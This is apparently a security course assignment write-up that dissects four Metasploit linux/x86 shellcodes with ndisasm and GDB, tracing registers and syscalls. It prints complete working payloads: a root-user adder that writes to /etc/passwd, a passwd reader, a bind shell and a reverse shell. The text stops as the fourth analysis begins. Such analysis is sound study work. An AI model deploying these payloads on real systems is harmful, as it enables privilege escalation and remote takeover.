SLAE: Assignment 5 of 7

Assignment #5:
- Take up at least 3 shellcode samples created using msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis on each of the 3 shellcodes
=====================================================================

This assignment asks to analyze at least 3 shellcodes. Since there are bonuspoints for analyzing additional shellcodes, I'll analyze 4. The first thing to note is that msfpayload has been replaced with msfvenom, so we'll use msfvenom for this exercise.

For this assignment I'm using my Kali 2.0 machine to get some metasploit shellcodes:

First we list the available Linux exploits:

linux/x86/adduser                                   Create a new user with UID 0
linux/x86/read_file                                 Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
linux/x86/shell_reverse_tcp2                        Connect back to attacker and spawn a command shell

I've shortlisted the above exploits for this exercise. To get the shellcodes, I run the following commands:

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E823000000        call dword 0x4e
0000002B  6A6F              push byte +0x6f
0000002D  6C                insb
0000002E  6C                insb
0000002F  793A              jns 0x6b
00000031  41                inc ecx
00000032  7A69              jpe 0x9d
00000034  7171              jno 0xa7
00000036  59                pop ecx
00000037  44                inc esp
00000038  7262              jc 0x9c
0000003A  4E                dec esi
0000003B  6F                outsd
0000003C  57                push edi
0000003D  323A              xor bh,[edx] 0000003F  303A              xor [edx],bh
00000041  303A              xor [edx],bh
00000043  3A2F              cmp ch,[edi] 00000045  3A2F              cmp ch,[edi] 00000047  62696E            bound ebp,[ecx+0x6e] 0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75] 00000050  51                push ecx
00000051  FC                cld
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  6802001A0A        push dword 0xa1a0002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx
00000005  6A02              push byte +0x2
00000007  6A66              push byte +0x66
00000009  58                pop eax
0000000A  89E1              mov ecx,esp
0000000C  CD80              int 0x80
0000000E  93                xchg eax,ebx
0000000F  59                pop ecx
00000010  B03F              mov al,0x3f
00000012  CD80              int 0x80
00000014  49                dec ecx
00000015  79F9              jns 0x10
00000017  5B                pop ebx
00000018  5A                pop edx
00000019  687F010101        push dword 0x101017f
0000001E  66681A0A          push word 0xa1a
00000022  43                inc ebx
00000023  6653              push bx
00000025  89E1              mov ecx,esp
00000027  B066              mov al,0x66
00000029  50                push eax
0000002A  51                push ecx
0000002B  53                push ebx
0000002C  89E1              mov ecx,esp
0000002E  43                inc ebx
0000002F  CD80              int 0x80
00000031  52                push edx
00000032  682F2F7368        push dword 0x68732f2f
00000037  682F62696E        push dword 0x6e69622f
0000003C  89E3              mov ebx,esp
0000003E  52                push edx
0000003F  53                push ebx
00000040  89E1              mov ecx,esp
00000042  B00B              mov al,0xb
00000044  CD80              int 0x80
================================

We will analyze the codes one by one. I will show the effect that each instruction has on the registers and stack below the instructions. I'm using GDB to verify the registers and stack are as expected. I use a GDB trick to set a breakpoint at the very first address of execution with "break *0"

(gdb) set disassembly-flavor intel
(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
Starting program: /root/adduser2
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x0
(gdb) x/5i $pc
=> 0x8048054:    xor    ecx,ecx
0x8048056:    mov    ebx,ecx
0x8048058:    push   0x46
0x804805a:    pop    eax
0x804805b:    int    0x80
(gdb)

This seems to be our shellcode - Great! Let's analyze it! (btw we use "nexti" for the next instruction)

00000000  31C9              xor ecx,ecx
ECX = 00000000
STACK = <uninitialized>
00000002  89CB              mov ebx,ecx
EBX = 00000000
ECX = 00000000
STACK = 46 00 00 00 <uninitialized>
00000004  6A46              push byte +0x46
EBX = 00000000
ECX = 00000000
STACK = 00000046
00000006  58                pop eax
EAX = 00000046
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
00000007  CD80              int 0x80
EAX = 00000046
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
Note: The INT 0x80 instruction is a syscall
Note: EAX stores the system call number which we can find as follows:

#define __NR_setreuid 70

setreuid() sets real and effective user IDs of the calling process.
int setreuid(uid_t ruid, uid_t euid);
Return value: On success, zero is returned.  On error, -1 is returned, and errno is set appropriately
Note: EBX and ECX are both zero, so the real userID is set to 0, and the effective userID is set to 0 as well
Note: The 0 user is the root user in Linux, so we're setting the effective and real user to root
Note: Effectively, this instruction is elevating the privileges to root user
00000009  6A05              push byte +0x5
EAX = 00000000 (Assuming that previous syscall succeeds)
EBX = 00000000
ECX = 00000000
STACK = 05 00 00 00 <uninitialized>
0000000B  58                pop eax
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
0000000C  31C9              xor ecx,ecx
Note: This instruction is not needed since ECX was already set to 00000000
Note: we could possibly reduce the size of this shellcode by 2 by removing this instruction
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = <uninitialized>
0000000E  51                push ecx
Note: The reason for pushing 00 on the stack is to NULL terminate the next string
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 00 00 00 00 <uninitialized>
0000000F  6873737764        push dword 0x64777373
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 73 73 77 64 00 00 00 00 <uninitialized>
00000014  682F2F7061        push dword 0x61702f2f
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000019  682F657463        push dword 0x6374652f
EAX = 00000005
EBX = 00000000
ECX = 00000000
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>

Note: The ascii text of stack now reads "/etc//passwd" terminated by a NULL char
0000001E  89E3              mov ebx,esp
EAX = 00000005
EBX = <points to stack>
ECX = 00000000
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000020  41                inc ecx
EAX = 00000005
EBX = <points to stack>
ECX = 00000001
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000021  B504              mov ch,0x4
EAX = 00000005
EBX = <points to stack>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000023  CD80              int 0x80
EAX = <file descriptor>
EBX = <points to stack>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
Note: Another syscall; number 5 this time

#define __NR_open 5

open, openat, creat - open and possibly create a file
int open(const char *pathname, int flags);
The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.
These request opening the file read-only, write-only, or read/write, respectively.
Note: *pathname = /etc//passwd
Note: int flags = 00000401
Note: We can find the flags with:

#define O_ACCMODE 00000003
#define O_RDONLY  00000000
#define O_WRONLY  00000001
#define O_RDWR    00000002
#define O_CREAT   00000100
#define O_EXCL    00000200
#define O_NOCTTY  00000400
#define O_TRUNC   00001000
Note: If we binary add up to 00000401 we get 400 + 001, which means the file is opened with flags O_NOCTTY and O_WRONLY
Note: The file is thus opened in WRITE ONLY mode and with NOCTTY.

O_NOCTTY: "If pathname refers to a terminal device--see tty(4)--it will not become the process's controlling terminal even if the process does not have one"
RETURN VALUE: open(), openat(), and creat() return the new file descriptor
00000025  93                xchg eax,ebx
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = 00000401
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000026  E823000000        call dword 0x4e
Note: This is interesting, the program calls 0x0000004e but there is no instruction there, there's just 0x000000eD which is "or bl[ecx-0x75] Note: Since this call calls the byte after the instruction, we will have to see what happens when we call the byte:
Note: \59 8B 51 FC 6A 04 58 CD 80 6A 01 58 CD 80

00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]
00000004  6A04              push byte +0x4
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A01              push byte +0x1
0000000B  58                pop eax
0000000C  CD80              int 0x80
Note: It seems this is normal code, and it starts with a POP, so the CALL is actually a simple JMP-CALL-POP without the initial JMP!
Note: The CALL return address (0000002B) will be stored in ECX after we pop it in the next command
Note: Since JMP-CALL-POP is often used to reference data, this next bit is likely data
6A6F6C6C793A417A697171594472624E6F57323A303A303A3A2F3A2F62696E2F73680A

jolly:AziqqYDrbNoW2:0:0::/:/bin/sh
Note: Great, this is what will be added to /etc/passwd
Note: Since we're using a call to come to this bit of code in the middle of another instruction, I've redone this piece of code using:

00000000  59                pop ecx
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
STACK = <4-byte pointer to jolly:AziqqYDrbNoW2:0:0::/:/bin/sh> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000001  8B51FC            mov edx,[ecx-0x4]
Note: This is an elegant instruction. In order to understand it, we need to understand how CALLs work. When we use a CALL, the HEX code for this call will be: E8 followed by a relative 32bit address. So when we CALL, effectively we store the next address of the current EIP on the stack, and then jump forwards by XX bytes. The XX part is the length of the data from the CALL location to the CALL destination. In our case, everything that resides in between our CALL and our CALL destination is the string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh" (and the 0A termination character). Since ECX points to the instruction right after CALL, we can retrieve the 4 bytes prior to the ECX value which is the relative bits of the call instruction (E823000000) which is "23000000" and reversed due to little endian this is 00000023: The length!
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000004  6A04              push byte +0x4
EAX = <points to stack>
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 04 00 00 00 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000006  58                pop eax
EAX = 00000004
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
00000007  CD80              int 0x80
Note: Another syscall; number 4 this time

#define __NR_write 4

ssize_t write(int fd, const void *buf, size_t count);
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd
RETURN VALUE = On success, the number of bytes written is returned (zero indicates nothing was written)
Note: Essentially: write("/etc/passwd","jolly:AziqqYDrbNoW2:0:0::/:/bin/sh",len("jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"))
00000009  6A01              push byte +0x1
EAX = 00000023
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 01 00 00 00 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
0000000B  58                pop eax
EAX = 00000001
EBX = </etc//passwd file descriptor>
ECX = <points to string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh">
EDX = <length of string "jolly:AziqqYDrbNoW2:0:0::/:/bin/sh"> = 00000023 (35 chars)
STACK = 2f 65 74 63 2f 2f 70 61 73 73 77 64 00 00 00 00 <uninitialized>
0000000C  CD80              int 0x80
Note: syscall 1 (sysexit)

================================

On to our second program: "readfile"
I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.

(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054:    jmp    0x804808c
0x8048056:    mov    eax,0x5
0x804805b:    pop    ebx
0x804805c:    xor    ecx,ecx
0x804805e:    int    0x80
(gdb)

00000000  EB36              jmp short 0x38
Note: JMP part of the JMP-CALL-POP
00000002  B805000000        mov eax,0x5
EAX = 00000005
00000007  5B                pop ebx
Note: POP part of the JMP-CALL-POP
EAX = 00000005
EBX = <pointer to "/etc/passwd%00">
00000008  31C9              xor ecx,ecx
EAX = 00000005
EBX = <pointer to "/etc/passwd%00">
ECX = 00000000
0000000A  CD80              int 0x80
Note: Another syscall; number 5 this time

#define __NR_open 5

"open, openat, creat - open and possibly create a file"
int open(const char *pathname, int flags);
The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.
These request opening the file read-only, write-only, or read/write, respectively.
Note: *pathname = /etc/passwd%00
Note: int flags = 00000000
Note: We can find the flags with:

#define O_ACCMODE 00000003
#define O_RDONLY  00000000
#define O_WRONLY  00000001
#define O_RDWR    00000002
#define O_CREAT   00000100
#define O_EXCL    00000200
#define O_NOCTTY  00000400
#define O_TRUNC   00001000
RETURN VALUE: open(), openat(), and creat() return the new file descriptor
Note: The file is thus opened in RDONLY mode (read-only)
0000000C  89C3              mov ebx,eax
EAX = </etc/passwd file descriptor>
EBX = </etc/passwd file descriptor>
ECX = 00000000
0000000E  B803000000        mov eax,0x3
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = 00000000
00000013  89E7              mov edi,esp
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = 00000000
EDI = <pointer to top of stack>
00000015  89F9              mov ecx,edi
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack>
EDI = <pointer to top of stack>
00000017  BA00100000        mov edx,0x1000
EAX = 00000003
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack>
EDX = 00001000 (the size of a page file)
EDI = <pointer to top of stack>
0000001C  CD80              int 0x80
Note: Another syscall; number 3 this time

#define __NR_read 3

"ssize_t read(int fd, void *buf, size_t count);"
read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.
0000001E  89C2              mov edx,eax
EAX = <number of bytes read>
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
00000020  B804000000        mov eax,0x4
EAX = 00000004
EBX = </etc/passwd file descriptor>
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
00000025  BB01000000        mov ebx,0x1
EAX = 00000004
EBX = 00000001
ECX = <pointer to top of stack which now contains the first 4096 characters of /etc/passwd>
EDX = <number of bytes read>
EDI = <pointer to top of stack>
0000002A  CD80              int 0x80
Note: Another syscall; number 4 this time

#define __NR_write 4

"ssize_t write(int fd, const void *buf, size_t count);"
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd
RETURN VALUE = On success, the number of bytes written is returned (zero indicates nothing was written)
Note: Essentially: write(stdout,*(first 4096 characters of /etc/passwd),len(total chars read))
0000002C  B801000000        mov eax,0x1
Note: set syscall to 1 (exit)
00000031  BB00000000        mov ebx,0x0
Note: set exit status 0
00000036  CD80              int 0x80
Note: syscall(1) = exit with status 0
00000038  E8C5FFFFFF        call dword 0x2
Note: CALL part of the JMP-CALL-POP
Note: Anything below this is data from JMP-CALL-POP technique
2F6574632F70617373776400

/etc/passwd%00

================================

On to our third program: bindtcp!
I'm using the same gdb trick (break *0) to set the breakpoint on the first instruction.

(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
(gdb) x/5i $pc
=> 0x8048054:    jmp    0x804808c
0x8048056:    mov    eax,0x5
0x804805b:    pop    ebx
0x804805c:    xor    ecx,ecx
0x804805e:    int    0x80
(gdb)

00000000  31DB              xor ebx,ebx
EBX = 00000000
Stack = <uninitialized>

00000002  F7E3              mul ebx
EAX = 00000000
EBX = 00000000
EDX = 00000000
Stack = <uninitialized>

00000004  53                push ebx
EAX = 00000000
EBX = 00000000
EDX = 00000000
Stack = 00 00 00 00 <uninitialized>

00000005  43                inc ebx
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 00 00 00 00 <uninitialized>

00000006  53                push ebx
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000007  6A02              push byte +0x2
EAX = 00000000
EBX = 00000001
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

00000009  89E1              mov ecx,esp
EAX = 00000000
EBX = 00000001
ECX = <pointer to "02 00 00 00 01 00 00 00 00 00 00 00">
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

0000000B  B066              mov al,0x66
EAX = 00000066
EBX = 00000001
ECX = <pointer to "02 00 00 00 01 00 00 00 00 00 00 00″>
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

0000000D  CD80              int 0x80
EAX = 00000066
EBX = 00000001
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
Stack = 02 00 00 00 01 00 00 00 00 00 00 00 <uninitialized>

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
RETURN VALUE = On success, a file descriptor for the new socket is returned
Note: Effectively: Socketcall(Socket, 2 1 0)
0000000F  5B                pop ebx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
Stack = 01 00 00 00 00 00 00 00 <uninitialized>

00000010  5E                pop esi
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 <uninitialized>

00000011  52                push edx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 00 00 00 00 <uninitialized>

00000012  6802001A0A        push dword 0xa1a0002
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000017  6A10              push byte +0x10
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″>
EDX = 00000000
ESI = 00000001
Stack = 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000019  51                push ecx
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)>
EDX = 00000000
ESI = 00000001
Stack = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000001A  50                push eax
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 12″ (02 00 1a 0a etc)>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000001B  89E1              mov ecx,esp
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000001D  6A66              push byte +0x66
EAX = <file descriptor to new socket>
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = 66 00 00 00 <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000001F  58                pop eax
EAX = 00000066
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000020  CD80              int 0x80
EAX = 00000066
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> <pointer to <uninitialized + 12″ (02 00 1a 0a etc)> 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
RETURN VALUE: On success, zero is returned
Note: Effectively: Socketcall(Bind(sockfd,*sockaddr,10))
00000022  894104            mov [ecx+0x4],eax
EAX = 00000000
EBX = 00000002
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000025  B304              mov bl,0x4
EAX = 00000000
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000027  B066              mov al,0x66
EAX = 00000066
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000029  CD80              int 0x80
EAX = 00000066
EBX = 00000004
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
RETURN VALUE: On success, zero is returned
Note: Effectively: Socketcall(Listen(sockfd %00, 0))
0000002B  43                inc ebx
EAX = 00000000
EBX = 00000005
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000002C  B066              mov al,0x66
EAX = 00000066
EBX = 00000005
ECX = <pointer to <uninitialized + 24″>
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000002E  CD80              int 0x80

#define __NR_socketcall 102

int socketcall(int call, unsigned long *args);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
RETURN VALUE :On success return a nonnegative integer that is a descriptor for the accepted socket
Note: Effectively: Socketcall(Accept(sockfd, {0}, 10))

00000030  93                xchg eax,ebx
EAX = 00000005
EBX = <fd to accepted socket>
ECX = <pointer to <uninitialized + 24">
EDX = 00000000
ESI = 00000001
Stack = <4 byte fd to new socket> 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000031  59                pop ecx
EAX = 00000005
EBX = <fd to accepted socket>
ECX = <4 byte fd to new socket> = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000032  6A3F              push byte +0x3f
EAX = 00000005
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 3F 00 00 00 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000034  58                pop eax
EAX = 0000003F
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000035  CD80              int 0x80
EAX = 0000003F
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

#define __NR_dup2 63
int dup2(int oldfd, int newfd);
Copy the STDERR (and later STDOUT and STDIN via repeat loop jns 0x32) to the accepted socket

00000037  49                dec ecx
EAX = 00000000
EBX = <fd to accepted socket>
ECX = a value initially greater than 0
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000038  79F8              jns 0x32
Note: Keep lowering ECX and DUP2'ing until ECX is decreased past zero (FFFFFFFF)

0000003A  682F2F7368        push dword 0x68732f2f
EAX = 00000000
EBX = <fd to accepted socket>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000003F  682F62696E        push dword 0x6e69622f
EAX = 00000000
EBX = <fd to accepted socket>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

/bin//sh

00000044  89E3              mov ebx,esp
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000046  50                push eax
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000047  53                push ebx
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = FFFFFFFF
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

00000048  89E1              mov ecx,esp
EAX = 00000000
EBX = <pointer to /bin//sh on the stack>
ECX = <pointer to pointer to /bin//sh on the stack followed by NULL character>
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000004A  B00B              mov al,0xb
EAX = 0000000b
EBX = <pointer to /bin//sh on the stack>
ECX = <pointer to pointer to /bin//sh on the stack followed by NULL character>
EDX = 00000000
ESI = 00000001
Stack = <4 byte pointer to /bin//sh on the stack> 00 00 00 00 2f 62 69 6e 2f 2f 73 68 00 00 00 00 10 00 00 00 02 00 1a 0a 00 00 00 00 00 00 00 00 <uninitialized>

0000004C  CD80              int 0x80
Process executes a new program here via execve using the variables in EBX, ECX and EDX

#define __NR_execve 11
int execve(const char *filename, char *const argv[], char *const envp[]);
Note: Effectively: execve(/bin//sh, /bin//sh%00, 0)

================================

On to our fourth program "reversetcp"
